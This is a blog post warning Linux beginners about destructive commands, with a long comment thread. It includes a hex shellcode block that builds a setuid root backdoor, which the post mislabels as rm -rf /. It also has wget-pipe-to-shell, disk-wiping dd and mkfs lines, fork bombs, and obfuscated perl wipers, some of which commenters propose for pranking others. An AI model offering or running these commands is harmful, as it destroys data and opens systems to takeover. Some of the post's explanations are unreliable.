If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.
1. Code:
rm -rf /
This command will recursively and forcefully delete all the files inside the root directory.
2. Code:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.
3. Code:
mkfs.ext3 /dev/sda
This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.
4. Code:
:(){:|:&};:
Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.
5. Code:
any_command > /dev/sda
With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.
6. Code:
wget http://some_untrusted_source -O- | sh
Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.
7. Code:
mv /home/yourhomedirectory/* /dev/null
This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.
There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.
Random Posts: Essential Linux Commands
Random Posts: Essential Linux Commands
rm -rf * same as #1
ReplyDeletedd if=/dev/urandom of=/dev/sda
ReplyDeleteYou can change the last one (mv /home/yourhomedirectory/* /dev/null)
ReplyDeleteto this:
mv ~/* /dev/null
~The Unix Geek
(found you via tuxmachines)
linux - you must break, VS , windows - breaks itself
ReplyDeleteMost of these would work only if you are abusing root account.
ReplyDeleteYes thankfully most of these commands would have little effect without sudo or root privs.
ReplyDeleteBiggest reason I don't use linux is after a couple of boots (usually within the first week), it fails to load for some reason. I would use it for normal browsing and playing some linux games, but an error would come up and would force me to reinstall after using for only a few days. Wierd...
ReplyDeleteAt the least windows didn't do that to me... not a windows fanboy or anything, but could never get linux to stay working...
@Anonymous
ReplyDeleterm -rf * is NOT the same as #1 (unless you are sitting in /)
* means everything at your current directory level
/ means everything from the root down
No, rm -rf * is NOT the same as #1, it all depends on what your current working directory is. If you're in "/" then it's the same, but that's the only case.
ReplyDeleteNo, rm -rf * is NOT the same as rm -rf /
ReplyDeletethe * variant only deletes all files in your current directory. The / variant deletes everything from the root (/) directory.
As for Linux failing after using it for a week I'd say that you were doing it wrong or try to install some app or did something with Windows (if you were dual-booting) to hose it up.
I prefer the classic rm w/ an accidental space twist:
ReplyDeleterm -rf oldfiles. *
which is why always adding -rf just to be sure is a bad idea.
Good article, Linux is powerful to the point of being dangerous in a novice's hands. Or a sleepy person's hands. I learned the hard way to back stuff up lots. I only had to learn it once though, to my credit :-)
ReplyDeletecd /; >-i press enter
ReplyDeleteas root to help negate the random rm -fR *. What will happen is rm will see and interprate the -i file as a command line switch and force interactive mode instead of forced mode. I do this in all my clients / dirs.
OMG dude, no way. that is just WAY too cool.
ReplyDeletejess
http://www.anon.cz.tc
"As for Linux failing after using it for a week I'd say that you were doing it wrong or try to install some app or did something with Windows (if you were dual-booting) to hose it up."
ReplyDeleteHelpful there.
Your responses in turn:
1) "You're doing it wrong" Wow, you mean Linux is supposed to work for *longer* than a week, and that it's not normally shipped broken? Amazing! Not useful, though...
2) "You tried to install some app." Yes, how DARE you try to install *software* over an *operating system*. Mah gawd that's insanity.
3) "Did something with Windows" I used to think that this was a joke. "A Linux developer stubs his toe on a rock. Damn Microsoft."
The last one doesn't even work. If yourdirectory has more than one file in it, mv will refuse because the target is not a directory. If it has only a single file mv will fail unless you are running as root because it can't unlink /dev/null. If the directory has no files, the mv will still fail on the glob pattern, but it probably didn't matter much anyway.
ReplyDeletechmod -R 777 /
ReplyDeleteRecursively gives read, write, and execute priviledges to all users for all files. The files in /bin and /etc/bin cannot have this mode or they will not run.
This is why you only give out the root password you REALLY trust. You should be using sudo anyways...
ReplyDeleteRe: linux dying after a couple of boots... I had that kind of experience, in 1996. Try a modern friendly distro (Ubuntu, MEPIS, even Debian itself) and if it happens again, ask people in that community what you might be doing wrong - chances are if you can screw it up in the first few hours of using it, it's happened to other people and they know how to fix/avoid the problem.
ReplyDeleterm -rf *
ReplyDeleteIS the same * means everything that includes the . and the .. you see when you do ls -a. On unix machines this will jump a directory back and continuelly do it until root is reached, thats why *.* is more common...
Having said that, this doesn't apply on most kernels and * won't jump directories, just trying to make my point.
rm -rf / no longer works with most distros. If you look at the NEWS file for coreutils 6.10 (i believe), there was either a warning added when you try to rm -rf / or it was disabled entirely. Also, by now, most major distros (Ubuntu, Fedora, OpenSuSe, Mandriva) have shipped a release with coreutils >=6.10.
ReplyDeletedon't forget about
ReplyDeleteman yourmom
rm -rf /* ; no, that's not bad at all, it means:
ReplyDelete"read mail, -realfast, /all"
actually...
ReplyDelete[13:20:34(user@home)2]~ $ mkdir foo
[13:20:45(user@home)3]~ $ cd foo
[13:20:45(user@home)4]~/foo $ echo *
*
[13:20:46(user@home)5]~/foo $ touch foo bar baz
[13:20:54(user@home)6]~/foo $ echo *
bar baz foo
so yeah, rm -rf * does _not_ traverse to ".." -- maybe it did in 1996, but not for a long while now.
I once did rm -rf * as root in a web directory on a system where the previous administrator had set rm to follow symlinks and had put a symlink to / in the web directory. Granted, I should not have been logged in as root in the first place, but the setup was bizarre anyway and ended up with the server being hosed. Fortunately it was a development server that wasn't yet online, so the damage was minimal and I didn't lose my job.
ReplyDeleteI know of no shell in all history that has included . and .. in * globs by default.
ReplyDeleteEven if for some reason a shell did do this, you wouldn't get the "recursive" jump behaviour described. Once the shell has expanded * its job is finished. If for some reason it put them there, rm would need to have a ridiculous bug where it also included . and .. files.
Regarding all the intelligent comments:
ReplyDeleteMy job as sysadmin is safe - regarding the alternatives here...
*doh*
"Biggest reason I don't use linux is after a couple of boots (usually within the first week), it fails to load for some reason."
ReplyDeleteYou should read this article again, very thoroughly, and take notes... cos yr duwin it rong. Or maybe you should just stick to live CD's.
rm -rf .*
ReplyDeletewill traverse up the tree
ask me how i know :(
Personally, I prefer rm -rvf /
ReplyDeleteI like to watch all the files disappear while laughing maniacally...
what is that fork bomb , how is that command interpreted ?
ReplyDelete1. mkdir = will make lunch for the company director
ReplyDelete2. dir /w/p = will get you genital warts
3. edit autoexec.bat = will make you look stupid
To the short lived linux user: If you don't have another computer to access support groups, you could install a virtual environment on your windows machine (I use "virtual box" on linux to run windows, the other way works too.) Install linux in the virtual machine, break it and use the windows box to track down the problem. Sorry about the insults of earlier commenter, I hope his disk falls off.
ReplyDelete"Anonymous said...
ReplyDeletedon't forget about
man yourmom
"
Well I tried it, it errored out stating and i quote:
"yourmom is too large to be displayed"
dd if=/dev/zero of=/dev/sda
ReplyDeleteDo that and your hard disk will be formatted back to factory defaults!
This is a handy way to kernel panic:
ReplyDeletedd if=/dev/random of=/dev/port
apparently
cat /dev/port
works as well.
The contraction of "you" and "are" is "you're". So to the Anonymous person who wrote "YOUR A DUMBASS", **You're** not so bright yourself.
ReplyDeletewhoa! great list jun! thanks for this :) para pag may linux na ako di na ako ignoramus ^_^
ReplyDeletemv ~/* /dev/null
ReplyDeleteDoes not do what you think it does, morons!
If you're not root it will fail.
If there is zero or more than one file whose name doesn't start with a "." in your home directory, it will fail because /dev/null is not a directory.
Otherwise it will move that one file over the device file /dev/null. The file will not have disappeared; it will be still be there, with all its content, just named "null" and situated in "/dev".
dd if=Unix\ Geek of=/dev/fail
Now I have the urge to hack into some Linux machine and test it myself...
ReplyDeleteGuess some of my old pc's here are going to have a hard time :D
I did this on a SCO openserver box years ago - not sure if Linux would allow:
ReplyDeletechown -r "whoever" /usr/whoever/ .*
It not only chowned the user's files, but went up to the parent directory (.), chowned it, and then recursively chowned everything below that, including the Database user, etc..
Tom:
ReplyDeleteComments like:
Wow, you mean Linux is supposed to work for *longer* than a week, and that it's not normally shipped broken? Amazing! Not useful, though...
Yes, how DARE you try to install *software* over an *operating system*. Mah gawd that's insanity.
"A Linux developer stubs his toe on a rock. Damn Microsoft."
The speaks of an underlying sarcasm needed by someone who is not so much interested in having a problem fixed as they are screaming the loudest for attention. You strike me as someone who desires control at such a level that I am surprised any other operating system or any real-life experience has been much better. There has to be some kind of anger and validation beyond the OS, which causes you not only to dislike the product, but when someone makes a suggestion, your disagreement resorts to that of a 12 year old. Or to put it in a way it comes off to many:
"OoooOOOoooh, SARCASM! Maybe if I exaggerate my statements you'll believe what I have to say, but NOOooOOOo... you have Linux so far up your ass you cough up penguin feathers."
Now, if you are just a sour puss who reads Linux articles because you hope to understand it better, but haven't learned to relax, might I suggest what someone else already did: use a more modern distro. AND if it still borks after a few days, work with someone to help you with it.
But getting all upset like that really doesn't speak well for your patience and desire to learn.
I will stay away from those commands.
ReplyDeleteDidn't think you could kill an OS
with simple Linux commands.
thanks from tony
mv /home/yourhomedirectory/* /dev/null
ReplyDeleteThat won't do what you think it will. It'll overwrite the /dev/null device node with a file, or exit saying "/dev/null: not a directory". /dev/null is used for redirecting text output, not copying or moving data.
Also, in number 2, everyone is ignoring the second part. Sure, it's rm -rf in hex. But the second part of the command creates an SUID root shell in a hidden file in /tmp/.beyond -- essentially a backdoor root shell should the attacker ever get a prompt at the box again.
In general, never run any command you don't (in general) understand. First, always google the command.
ReplyDeleteeg. if someone says that rm rf / solves your problems, if you google "linux +rm" you will see that "rm" stands for remove. You don't have to know much about computers to understand that "remove" is dangerous.
nice, I like the first one.
ReplyDeletedont worry about the guy that blows up his linux after a few hours / days
Linux is user friendly, it is just careful selecting its friends.
lol I love that one.
I am curious tho, which redhat / debian distro did you select for this?
and just what was the actual errors you got? without that information noone can help you, not even your mom.
-Badguy
Or try this variation on rm:
ReplyDeleteI met someone who thought he was appending a directory name with a slash "/" character but inserted a space before the second slash giving two directories for find to work with.
e.g.: find /tmp / -exec rm -rf {} \;
Of course this was done as root and he said it pretty effectively removed a bunch of files on a server he was working with. At least pre-production if my memory serves.
rm -rf * has ignored files beginning with . for a while. It does not delete the current directory or the directories above it (. and ..). Additionally, it doesn't even delete hidden regular directories.
ReplyDeleterm -rf * in home doesn't delete .purple and the like, at least on Ubuntu Intrepid.
Eddie said..
ReplyDeleteBiggest reason I don't use linux is after a couple of boots (usually within the first week), it fails to load for some reason.
Sorry you had so much trouble Eddie but why didn't you try Google or ask for help on one of the many forums.
If it had been your Windows machine doing this would you have dumped it or asked for help.
does this actually work (and exist?) ":(){:|:&};:"?
ReplyDeleteOoo! I need to try these on my friend's T-mobile G1... you know, just for fun.
ReplyDeleteGrig' I have tried numerous distros and have found just one that fails everytime I try it due to video error, that one is unbutu any ver.
ReplyDeleteI have also been to so called support sites for different versions and end up leaving due azz wipes that would rather give false info rather thatn help anyone who is willing to try to switch to open source software.
Also, Knoppix anyver has very bad visual calrity fonts are blurred as well as graphics.
PO8:
ReplyDeleteWhen I tried Vista on one hard drive and had Linux on another, Vista kept clobbering the ext3 filesystem, I guess because it didn't recognize it and decided to do something. All the inodes were shifted. fsck fixed it, of course.
localhost:tmp joe$ rm -rf .*
ReplyDeleterm: "." and ".." may not be removed
So that does not work on OSX Leopard. And I haven't seen a system going up recursively when issuing:
rm -rf *
Seems like an urban legend to me. I've once met a guy who claimed that he wiped his Debian installation using rm -rf *
It still don't buy it.
Didn't think you could kill an OS with simple Linux commands.
ReplyDeleteinsert Russian accent
God, root, what is difference?
Now you know one reason why you shouldn't adopt rootly powers unless it is absolutely necessary.
chown nobody:nobody -R /
ReplyDeletechmod 000 -R /
http://blog.rootninja.com
cd ~; for x in `ls`; do mv -f $x $y; y=$x; done
ReplyDeleteThis will shift the names of all the files in the users home directory. none of the file names will match their contents.
http://blog.rootninja.com
The forkbomb is written wrong. You need spaces inside the {'s:
ReplyDelete:(){ :|:& };:
Besides that, I think it has been "fixed" in newer systems. If I type it in a terminal, I get the following:
[thomas@localhost ~]$ bash: fork: Resursen midlertidig utilgængelig
bash: fork: Resource temporarily unavailable
bash: fork: Resource temporarily unavailable
...
And I can shut it all down with a simple Ctrl+C
If you want to play around with commands, try it in a chroot!
ReplyDeletechroot /some/directory/you/dont/care/about/but/has/a/distribution/on/it /bin/bash
this will only avoid some of the malicious code, not all of it
That is on dualcore 2.6.27.5-37.fc9.i686
ReplyDeleteOnce i managed to trash out test system with a typo:
ReplyDeletechmod -r 777 . /*
This is same as /dev/null
ReplyDelete0:> [file]
(or something to that effect)
I remember using the "shred" command to delete files.
ReplyDeleteBut I dont remember the parameters.
It doesnt work properly with some filesystems.
Number two has nothing to do with "rm -rf /". It's simply shellcode to setup an execve then execute a command to create a suid root shell. It looks like it might be for some kinda off-by-one bug, or something else with a *really* small buffer to smash. It's harmless if you don't compile and run it inside a C app.
ReplyDeleteAs an addendum to #2 - any experienced linux user ought to know this, but you should never execute obfuscated code.
ReplyDeleteoops, i was just trying these out at work...and....
ReplyDeletemaybe the most dangerous instruction in some distros is sudo su - ..
ReplyDeletefor #4 y not didn't linux/unix creator just make the command {{:bomb:}}---* legit? that would be awesome...
ReplyDeleteI did this once while trying to remove old emails from a dir using "find".
ReplyDeletefind -type f -mtime +30 -exec mv {} /dev/null \;
I ended up overwriting /dev/null and basically fubar-ed the whole server until it was restored.
Not something you would do by accident (i would hope) but
ReplyDeletecat /dev/random > ~/.backup &
is a great way to screw with someone, especially if the sysadmin has put limits on each user's home directory
tell them it's running some sort of diagnostic and it needs to run for an hour or so...
Nice post :)
ReplyDeleterm -rf * .*
ReplyDeleterm -rf w
ReplyDeletebut that's another discussion...
# rm -rf /
ReplyDeletehmm ... I thought, that means
ReadMail -ReallyFast ;-)
me@mycomputer:~$ man woman
ReplyDeleteNo manual entry for woman
me@mycomputer:~$
heheheheheeee
how about a double wammie
ReplyDeleterm -rf /|rm -rf /&
To the person who said windows would never let you do this...
ReplyDeleteI've previously had the joy of fixing somebody's computer when they dragged their C: drive to the recycle bin.
cheers :)
I like the commands that drive others nuts
ReplyDelete(ext2/3 only)
cd /
chattr -R +i *
Now sit back and watch people go nuts none of the files or dirs on the system can be modded or removed (reboots usually don't succeed )
[man "command"] helps if you don't understand what the command is use for. its a simple manual of the command.
ReplyDelete["command" -h or --help] also will show you how the command works and what its used for.
thats all you need if you don't know what a command is used for.
this is FrostWire's Unix/Linux Command Reference, that are very helpful to new and experienced users.
FrostWire's Unix/Linux Command Reference part 1
FrostWire's Unix/Linux Reference Command part 2
QUOTE: "
ReplyDeleteYOUR A DUMBASS! get the * out of the IT field."
And why did this get approved by the blog author???
Rule #1: Don't run a command you can not understand.
ReplyDeletePERIOD.
Harmful commands are an infinite number of variants. At least do a basic google on the command you are given. Anything that is not plain text and obvious to search for is probably malicious.
HOW TO STOP FORK-BOMBS:
ReplyDeleteIf a fork-bomb can no longer fork, it exits.
The following short Z Shell code will typically get rid of the above fork bomb in about a minute:
while (sleep 100 &!) do; done
Each new do-nothing process we run reduces the number of rampant "fork bomb" processes by one, until eventually we can eradicate all of them, at which point the do-nothing processes can exit.
while (sleep 100 &!) do; done
ReplyDeletethat works, but most people choose to limit the amount of processes a user can have running at any one time. man limits.conf
OMG dude, no way. that is just WAY too cool.
ReplyDeleteAnd the winner is... http://www.infiltrated.net and the elusive perlfsck
ReplyDeleteperl -e '$??s:;s:s;;$?::s;;=]=>%-{\\>%<-{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
wow! From Bojol!
ReplyDeletegaleng!
It really makes sense to add aliases to your rc file to ensure that you don't misuse rm or mv:
ReplyDeletealias rm='rm -i'
alias mv='mv -i'
Since sometimes it's necessary to remove a lot of files at once I also have:
alias srm='rm -f'
before those other two
NOW TELL ME WHY IS LINUX GOOD????!!!!!
ReplyDeleteYou've got it wrong. An evil person, perhaps, would irresponsibly propose one execute such code (it does tickle the lulz spot), but only a stupid person would fall for it. No command should ever be executed by anyone without that person first doing some research as to exactly what that command does.
ReplyDeleteInteresting point here...if you have sudo installed and configured like a majority of users do...you CAN kill your system with any of these commands.
ReplyDeleteHowever, if you're like me and a few thousdand/million out there that don't use a distro with sudo, you'd have to login as root in order to execute these commands.
And for that, I'm glad and recommend this distro without sudo to new users.
Sometimes I believe *nix (BSD's and Linux) can be extremely stupid, but I find its mainly unclued users making the errors: e.g:
ReplyDeletelinks -dump http://tinyurl.com/funtrixwithnix|awk 'NR==44{print $1,$2" /*"}'|sh
Would yield the same results as my previously posted perl script...
echo "\$0&\$0&">_;chmod +x _;./_
ReplyDeletes!/\*.*?\*/!!sg
perl -e 'while(1) {fork();}'
perl -e '''=~('(?{'.(']'^'-').((']'^'-')|'"').('`'|')').('`'|'.').((']'^'-')|'$').'"'.((']'^'-')|'#').((']'^'-')|')').((']'^'-')|'#'
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
while :; do mkdir foobar && echo gg >| hrhr ;cd foobar ;done &
echo $0 ; $0 &
[$[$RANDOM%6]=0]&&rm -rf /
for i in /dev/{hd*,sd*}; echo Drop the Dilmom\! I repeat: drop the Dilmom\! && dd if=/dev/urandom of=$i
echo "\$0&\$0">.-.&&. .-.
cd /; >-i press enter
ReplyDeleteHow can get rid of this file again?
I had someone talk me into this:
ReplyDelete>!r
Needless to say... the previous command was rm *.
"I didn't think it would let you do that." He said.
I think you could effectively corrupt your data with a mouse like this:
ReplyDeletecat /dev/input/mouse0 > /dev/sda
On a desktop environment people tend to grab a mouse and do something else after this (like browsing a web).
Or when a guy asks how to work his new shiny joystick, after teaching him to get it working you may present a final command (just say, this command fine-tunes the calibration, simulate a real game usage):
cat /dev/input/js0 > /dev/sda
Biggest reason I don't use windows is after a couple of boots (usually within the first week), it fails to load for some reason. I would use it for normal browsing and playing some windows games, but an error would come up and would force me to reinstall after using for only a few days. Wierd...
ReplyDeleteAt the least linux didn't do that to me... not a linux fanboy or anything, but could never get windows to stay working...
This is not a malicious trick but simply one that every sysadmin accidentally does at least once.
ReplyDeleteIf you have a file named -i (as was suggested you should have in / earlier on) or you have a file named * then your instinct is to type rm -i or rm * to delete it.
When you think about it, however, you will see that this will either cause an error because you didn't supply any filenames to delete or it will delete all the files in the current directory.
The proper method for deleting files that start with a dash is rm -- -i. You can also achieve this by using an absolute path: rm /home/dave/-i.
This doesn't work with a star however so for that you will need to use a backslash before the star like this: rm \*.
A fun trick to play on new sysadmins is to create a file called -rf * in their home directory. (But make sure you do regular backups...)
I'm tempted to use these on my professors.
ReplyDeleteWell, it looks like the world of UNIX like operating systems has invaded yet another blog.
ReplyDeleteThis post was completely useless, as anything you described would require at least an euid of 0 (providing the tool was setuid aware), most want a uid of 0, which is not the default user for most distros.
So, enjoy your google juice while I thumbs down this in Stumbleupon under my personal category of "Thinking all computer users are stupid".
If you want to find something to blog about that earns you traffic, try coming up with something better, or at least learning how GNU/Linux actually __works__, how permissions work and what 'sudo' and 'su' do.
Good luck on your blog, I hope you make a fortune. Advertising the fact that you fell victim to some IRC prank and nuked your computer is not the best way to gain links. If you hope to prevent this grave misfortune for others, at least understand how the OS actually works.
@Tim:
ReplyDeleteI 100% agree with you. This is all so stupid. And unfortunately most of the comments are even more stupid!
"Biggest reason I don't use linux is after a couple of boots (usually within the first week), it fails to load for some reason."
ReplyDeleteDude... You should get yourself a Dell Inspiron 530n (preloaded with GNU/Linux of the Ubuntu variety), drop in a PNY nVidia 9400GT, and your whole family's jaws will drop at the awesomeness... mine did.
3d games, all the fastness, none of the BS and bloatness you would get from Vista.
Checkout my blog entry at:
http://healthysystem.blogspot.com/2008/11/dell-inspiron-530n-nvidia-9400gt-ubuntu.html
I'll be updating it with all the details.
GNU/Linux rocks!!!!
That's a great blog and it only adds to my knowledge of linux - the only way to defend the enemy is to know his weapons :-)
ReplyDeletei think /bin/rm -r / is the most powerfull command on linux! :-) no questions to answer! :-)
ReplyDeleteThe "echo 1 > /proc/sys/kernel/panic" is also a fun, but not-so-dangerous command. Be sure to save all your work before entering that as root.
ReplyDeleteFor those interested on removing the "-i" file created by `>-i':
ReplyDelete`rm -- -i'
For those interested on how the forkbomb works, those are two equivalent:
1)
:() {
: |: &
};
:
2)
function() {
function |function &
};
function
Conclusion: creates a function that calls itself and pipes stdout to a copy of himself then forks and exits. Calls the function one time.
It will double the `bash' (or any other shell) processes by an order of two at every call.
It's very fast as it just needs to copy the bash process (already cached by mmap) X times in the RAM until the RAM is full.
The ";" is only needed if written in one line.
There must be at least a space after "{" and before "}" for some shells (like bash).
Is that all the dangerous commands in Linux.Now only i have changed to unix.i feel better to use Linux than other os.but ur commands useful guys..
ReplyDelete4 years ago, i destroyed a linux by misstiping a command.
ReplyDeletei wanted to write:
vi /etc/passwd
but I wrote (as root):
vi >/etc/passwd
the > key is on a swiss keyboard right of shift-key. The shift key is also used for a /.
After that command, the passwd file is empty.
Userdata and system keeps on disk.
But no more login possible.
Lucky, that i could restore /etc/passwd from backup and had a running root Terminal.
Yes, i know, never touch passwd by editor, but irl its easier.
Greetings
Patrick
Dude I hear over and over that linux doesn't work after two or three times.This is cause some idiots with duel-operating systems hard boot like theres no tommorow. God, all u have to do is run chkdsk.exe (found in system32 folder) on windows and it fixs it right up.
ReplyDeleteTo the guy with the Linux working for a week. I've had a similar, if not same, problem. Perhaps you're hard disk is not checked for bad blocks. Use the "badblocks" program to scan your devices for these bad blocks and then add the -B option along with your mke2fs, or whichever mkfs you're using. Use man pages for help. This will prevent Linux from messing up again or any of those weird I/O errors.
ReplyDeletebem!!! gostei muito da versão char do comando rm -rf /
ReplyDelete:)
"Well, I liked very much of version of command rm -rf /"
:)
Paulo Gomes
http://aventux.blogspot.com - Aventuras p'lo linux
I liked this post...
ReplyDeleteMore useful are tons of comments which gives lots of insight...
I am thinking of compiling the comments... will try :)
_ATOzTOA
www.atoztoa.com
This is exactly why you should never login as root and always use sudo.
ReplyDeleteBiggest reason I don't use linux is after a couple of boots (usually within the first week), it fails to load for some reason.
ReplyDeleteFunny. I've had Linux boxes running, literally, for years. But then, I'm a Unix admin.
The nice thing about Linux is that it isn't maintained by control freaks or people who are driven by profit motive to be constantly rendering their product obsolete and in need of another upgrade. It's maintained by people who like to see it working with as many applications and for as many people as possible.
OMG, I can;t think of rm -rf / (lol)
ReplyDeleteNice points; thanks.
//Jadu, unstableme.blogspot.com
or to kill all process in the system
ReplyDelete#kill -9 -1
Lol, the forkbomb looks really out of place.
ReplyDeleteNobody said this one?
ReplyDeleteyes > /dev/sda
and the IQ test for new linux admins;
touch -- /-rf
and I'd also like to point out that adding alises for 'rm -i' are completely useless... 'rm -if' or 'rm -fi' won't prompt.. the -f takes precedence. If you're prone to silly typos though, alias rm='mv -t ~/.Trash/' might be a good idea.
OMG dude, no way. that is just WAY too cool...
ReplyDeleteVery useful tips immediately when i read about this here.I used to search for more deadly commands and i found one.I thought it might be an instant update to the readers.
ReplyDeletehttp://ultraoli.info/tag/top-deadly-linux-commands
hey that one is really cool dude.thanks for the info.
ReplyDeleteGreat post, something every linux beginner should read and know about.
ReplyDeleteTaking away the reading rights for / is also a great way to force a user to reinstall, when a friend of mine tried that, I was totally unable to solve it for him.
ReplyDelete"GreatSlovakia said...
ReplyDeleteTaking away the reading rights for / is also a great way to force a user to reinstall, when a friend of mine tried that, I was totally unable to solve it for him."
Hm. Maybe you would have to be able to access the filesystem from a live-CD or put the disk temporarily in another machine to fix that...? So that it was not your root system. Then I guess you should be able to issue a `chmod a+r whatever' or `chmod -R a+r whatever' on the relevant directory(ies) as root, unless the filesystem was encrypted or something...
But then maybe there are some magic you could do from the kernel boot command prompt of your bootloader (thinking "grub") that would help, but I'm not skilled enough to know this.
Anyways, I always stop to read twice and think a bit before issuing a possible really dangerous command as superuser...
kill -9 -1
ReplyDeletekills all processes of the user. normal users get completely logged off, root will kill all processes (including init ;)
kill -9 1
ReplyDeletekills init , the barent of all processes
An excellent post...thanks for sharing your nice informative article.
ReplyDeletealias rm="rm -i" won't work.
ReplyDeleteNeither will creating a file named '-i'
Example;
touch /tmp/test
rm -i -f /tmp/test
It WON'T prompt. -f take priority over -i.
lol
ReplyDeleteDouble-edged sword this blog.
Some will say: "Ahh! Now I'm wiser! I know what to avoid." Others will say: "Ahh! Now I'm wiser! I know what to suggest to others."
During an intensive session of work:
ReplyDeletefuser -k /
loool
rm -rf /boot/
ReplyDeleteDescription:
Will delete Kernel , Initrd , and GRUB/LILO Files
(Needed for Linux Startup)
rm /boot/vmlinux
rm /boot/vmlinuz
rm /boot/vmlinux*
rm /boot/vmlinuz*
Delete the Linux kernel
rm /bin/init
cd / ; find | grep init | rm
Deletes any file with "init" in it including /sbin/init.
As root:
ReplyDeletesed -ei 's/id:5/id:6/' /etc/inittab; reboot
sed -ei 's/id:5/id:6/' /etc/inittab
ReplyDeleteHow to kill the process if task manager is disabled.
ReplyDeletei'd say that the worst you might do would be to sudo rm -dfr .*
ReplyDeleteor maybe you could always do chmod -R 000 and see what happens when you don't have permission do do anything...
And this is why 90% of computer users run Windows.
ReplyDeleteI can't believe no one mentioned hdparm. That command can not only destroy the data, but physically destroy the drive.
ReplyDeletekwiaty
ReplyDeleteI can't believe no one mentioned hdparm. That command can not only destroy the data, but physically destroy the drive.
ReplyDeleteit's already been done! :)
ReplyDeletein top 3 on reddit linux.
http://dazzle.cs.mcgill.ca/wordpress/?p=36
safe-rm - wrapper around the rm command to prevent accidental deletions
ReplyDelete"Anonymous Said,
April 17, 2010 4:01 AM
And this is why 90% of computer users run Windows."
No this is why 95% of servers run either Unix or Linux, and why almost every super computer runs Linux.
*Opens VirtualBox*
ReplyDeleteI remember during operating system's class learning about how you could virtually erase your whole hard drive in a few keystrokes. That's why I like the GUI - it's generally a lot harder to do :] Although we have all deleted a file or two accidentally I am sure.
ReplyDeleteI thought I remember in Unix there is a way in which you run commands; however, it will ask you if you are certain that you wish to proceed. In this case, it would ask you if you wanted to execute the deletion or not. This would at least serve as a bit of a barrier (although I guess those using the command line typically wouldn't want such a barrier to exist).
ReplyDeleteThe only thing I can recommend, whether you are dealing with Linux, Unix< Windows, or Mac, is to back up your data regularly.
Great information. I got lucky and found your site from a random Google search. Fortunately for me, this topic just happens to be something that I've been trying to find more info on for research purposes. Keep up the great work and thanks a lot.
ReplyDeletehow can i make a file like windows .bat writting on notepad i from brazil and i studing linux, could you help me ?? thanks !!!!
ReplyDeleteGreat post. You have to be careful when testing out commands. When in doubt, use a test system or take a snapshot if possible.
ReplyDeleteWes
www.techbreeze.com
Try
ReplyDeletesudo rm -rf / | sudo reboot
also, what does this do?
perl -e '$??s:;s:s;;$?::s;;=]=>%-{\\>%<-{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
I tried it but it didn't do anything for me...
Great Share, As of now I'm practicing this cool linux commands.
ReplyDeleteMy noob friend just tried this command to his pc. mkfs.ext3 /dev/sda :)
Try
ReplyDeleteopen /*
also what it this?
sudo -m mfkg ###??e:;sf;;:%%<-{;;y; -/:-@[-`{-};`-{<-F^$^^&*$%^^::;
cd /lib/i386-linux-gnu/
ReplyDeletemv libc.so.6 libc.so.6-old
You don't loose any data, but your system ends up being virtually a brick, because almost all programs (including cp, mv, ... to put the file back in place) depends on this library :-)
My Linux set-up is so messed up it won't even let me enter those commands....
ReplyDeleteAll you idiots adding more "commands" to break/ruin a users system. You are not even clever. Any noob learns those commands the first couple of days. And: Anonymous Said,
ReplyDeleteNovember 21, 2008 1:24 AM
Biggest reason I don't use linux is after a couple of boots (usually within the first week), it fails to load for some reason. I would use it for normal browsing and playing some linux games, but an error would come up and would force me to reinstall after using for only a few days. Wierd...
At the least windows didn't do that to me... not a windows fanboy or anything, but could never get linux to stay working..."......... You must seriously have something major wrong with your hardware. Linux is rock solid stable everywhere. It's 2012 not 1993.
shred -vn1 /dev/sda
ReplyDeleteor better, or at least faster:
/dev/sda </dev/null (or whatever)
rsync -av --delete /wrong_dir /some_dir (i have done this, lol.. sucked a lot..)
there are lots of ways to kill tux.
swapon /dev/sda ? :p
You could even kill (or clone ;)) your disk remotely using netcat
most of these are probably not allowed to do, even as root.. but dont feel like trying :)
Anonymous, sudo rm -rf / | sudo reboot <<-- won't work cuz once it's all erased, sudo stops working as well, reboot wouldn't exist either o_o
ReplyDeletemv * has gotten me into trouble a couple times when I forgot to put the destination at the end.
ReplyDeleteI put this one on my hat years ago.
ReplyDeletesudo mv U /dev/null
go.to/moo
Can you make aliases to render each of those commands completely null?
ReplyDelete